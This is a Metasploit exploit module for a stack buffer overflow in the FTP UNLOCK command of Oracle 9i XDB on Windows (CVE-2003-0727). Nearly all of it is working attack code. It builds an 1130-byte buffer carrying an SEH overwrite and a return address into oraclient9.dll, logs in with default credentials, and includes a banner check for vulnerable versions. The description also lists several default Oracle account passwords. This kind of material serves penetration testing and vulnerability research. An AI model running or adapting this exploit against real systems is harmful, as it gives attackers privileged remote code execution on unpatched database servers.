Oracle 9i XDB (Windows x86) - FTP UNLOCK Overflow (Metasploit)

##
# $Id: oracle9i_xdb_ftp_unlock.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',
			'Description'    => %q{
					By passing an overly long token to the UNLOCK command, a
				stack based buffer overflow occurs. David Litchfield, has
				illustrated multiple vulnerabilities in the Oracle 9i XML
				Database (XDB), during a seminar on "Variations in exploit
				methods between Linux and Windows" presented at the Blackhat
				conference. Oracle9i includes a number of default accounts,
				including dbsnmp:dbsmp, scott:tiger, system:manager, and
				sys:change_on_install.
			},
			'Author'         => [ 'MC', 'David Litchfield <david@ngssoftware.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'Platform'       => [ 'win' ],
			'References'     =>
				[
					[ 'CVE', '2003-0727'],
					[ 'OSVDB', '2449'],
					[ 'BID', '8375'],
					[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					[
						'Oracle 9.2.0.1 Universal',
						{
							'Ret'      => 0x60616d46, # oraclient9.dll (pop/pop/ret)
						},
					],
				],
			'DisclosureDate' => 'Aug 18 2003',
			'DefaultTarget' => 0))

		register_options([
			Opt::RPORT(2100),
			OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']),
			OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']),
		], self.class )
	end

	def check
		connect
		disconnect
		if (banner =~ /9\.2\.0\.1\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf = rand_text_english(1130, payload_badchars)
		seh = generate_seh_payload(target.ret)
		buf[322, seh.length] = seh

		send_cmd( ['UNLOCK', '/', buf] , false )

		handler
		disconnect
	end

end